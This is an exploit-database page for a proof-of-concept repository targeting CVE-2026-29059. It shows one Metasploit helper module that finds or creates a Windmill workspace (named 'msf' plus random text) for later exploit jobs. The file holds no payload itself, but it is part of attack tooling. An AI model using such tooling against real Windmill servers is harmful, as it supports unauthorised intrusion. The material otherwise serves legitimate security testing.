Exploit database

GH-c7cf321e13276053c7635bf3422ec0a3

chocapikk/windfall

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-29059

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

metasploit/lib/msf/core/exploit/remote/http/windmill/workspace.rb

Ruby · 3,078 bytes
# -*- coding: binary -*-
# frozen_string_literal: true

module Msf
  class Exploit
    class Remote
      module HTTP
        module Windmill
          #
          # Workspace management methods for Windmill API
          #
          # Handles workspace resolution for Windmill operations:
          # - Nextcloud Flow always uses the fixed 'nextcloud' workspace
          # - Standalone deployments list existing or create new workspaces
          #
          # @author Valentin Lobstein (Chocapikk)
          #
          module Workspace
            include Msf::Exploit::Remote::HTTP::Windmill::Constants

            #
            # Get or create a workspace for operations
            #
            # Resolution strategy:
            # 1. Return cached workspace if already resolved
            # 2. For Flow Proxy: always return 'nextcloud' (fixed workspace)
            # 3. For Standalone: list existing workspaces and use first one
            # 4. If no workspaces exist: create a new random workspace
            #
            # The resolved workspace is cached in @windmill_workspace for
            # subsequent calls.
            #
            # @return [String, nil] Workspace ID or nil on failure
            #
            # @example Get workspace for job execution
            #   if (ws = windmill_get_workspace)
            #     print_status("Using workspace: #{ws}")
            #   end
            #
            def windmill_get_workspace
              self.windmill_workspace ||= resolve_workspace
            end

            private

            #
            # Resolve the workspace based on deployment type
            #
            # @return [String, nil] Workspace ID or nil
            #
            def resolve_workspace
              return 'nextcloud' if windmill_deployment_type == DEPLOYMENT_FLOW_PROXY

              fetch_existing_workspace || create_workspace
            end

            #
            # Fetch first existing workspace from API
            #
            # @return [String, nil] Workspace ID or nil if none exist
            #
            def fetch_existing_workspace
              res = windmill_get(windmill_api_path(API_WORKSPACES_LIST))
              return unless res&.code == 200

              workspaces = JSON.parse(res.body)
              workspaces.first&.dig('id') if workspaces.is_a?(Array) && workspaces.any?
            rescue JSON::ParserError
              nil
            end

            #
            # Create a new workspace with random name
            #
            # @return [String, nil] Created workspace ID or nil on failure
            #
            def create_workspace
              ws_name = "msf#{Rex::Text.rand_text_alphanumeric(6).downcase}"

              res = windmill_post(
                windmill_api_path(API_WORKSPACES_CREATE),
                'ctype' => 'application/json',
                'data' => { id: ws_name, name: ws_name }.to_json
              )

              ws_name if res&.code&.between?(200, 201)
            end
          end
        end
      end
    end
  end
end